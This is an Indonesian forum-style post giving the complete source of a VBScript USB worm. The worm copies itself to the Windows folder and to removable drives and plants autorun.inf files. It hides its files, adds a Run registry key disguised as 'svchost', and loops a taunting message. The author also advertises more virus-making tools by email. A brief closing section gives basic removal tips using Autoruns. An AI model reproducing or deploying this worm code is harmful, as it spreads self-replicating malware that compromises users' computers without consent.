=====================================================
‘El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe erwinda_putra.exe.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\erwinda_putra.exe.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path “A:” then
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\erwinda_putra.exe.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\erwinda_putra.exe.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(”WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost”,winpath&”\erwinda_putra.exe.vbs”
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,””
rg.regwrite “HKCR\vbsfile\DefaultIcon\”,”shell32.dll,3″
if check 1 then
Wscript.sleep 100000
end if
loop while check1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

do while year(now) >= 2008
WScript.sleep 20000

msgbox “salamaik tibo di virus camp_luck” & vbcrlf & _
“ondeh sanak maaf stek yo awak masuak ka sistem sanak anok-anok” & vbcrlf & _
“dunsanak komputer dunsanak awak kuasai stek dih. kini dunsanak masuak dalam permainan suruak manyuruan” & vbcrlf & _
“iko permainan yang paten ma dunsanak” & vbcrlf & _
vbcrlf & vbcrlf & _
” elok-elok selah dih dunsanak beko tajadi yang indak-indak ko” & vbcrlf & vbcrlf & _
” aaa kini saaiknyo ma dunsanak”

loop
==========================================================
OIA NE PROMOSI DIKIT…
KALO KALIAN KEPENGEN BUAT VIRUS…
GW BANYAK PROGRAM BUAT VIRUS..
KUNJUNGI AJA IMAEL GW OK…
NE…

CAMP_LUCK@YAHOO.COM

SAYA BAKAL NGIRIMIN NYA DEH…
KHUSUS BUAT KAWAN2 OK..
BYE..2

Untuk mengetahui kerja virus, biasa agak gampang kan, contohnya kalo fasilitas run, regedit, cmd, folder option, search, task manager, nah tu pasti kerjaan virus, atau ada tampilan / muncul pesan yang aneh, muncul file aneh difolder tertentu, ekstensi suatu file berubah, atau lainnya yang sejenis, tu kemungkinan juga kerjaan virus..
Untuk mencari lokasi virus bisa pake tool Autoruns yang bagian dari tool SysinternalsSuit (liat http://www.microsoft.com/technet/sysinternals/default.mspx )
Pilih tab logon, yang akan memperlihatkan daftar program yang berjalan di windows, cari file yang aneh atau tidak penting, dengan hilangkan ceklistnya, tapi ingat hati-hati dalam hilangin ceklistnya, bisa-bisa windows kita yang nggak jalan, pokoknya program ( rdpclip , userinit, explorer , dan ctfmon ) jangan dihilangin ceklistnya… ingat tu…
Kalo ingin tahu deskripsi tentang proses aplikasinya lihat http://www.processlibrary.com biar nggak salah matiin program…